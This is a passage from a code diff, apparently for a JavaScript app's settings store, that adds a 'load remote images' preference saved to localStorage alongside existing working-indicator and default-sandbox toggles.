localStorage.setItem(LS_WORKING_INDICATOR, v ? "1" : "0"); } catch {} set({ workingIndicator: v }); }, + setLoadRemoteImages: (v) => { + try { localStorage.setItem(LS_LOAD_REMOTE_IMAGES, v ? "1" : "0"); } catch {} + set({ loadRemoteImages: v }); + }, setGlobalDefaultSandbox: (v) => { try { localStorage.setItem(LS_DEFAULT_SANDBOX, v ? "1" : "0"); } catch {} set({ globalDefaultSandbox: v });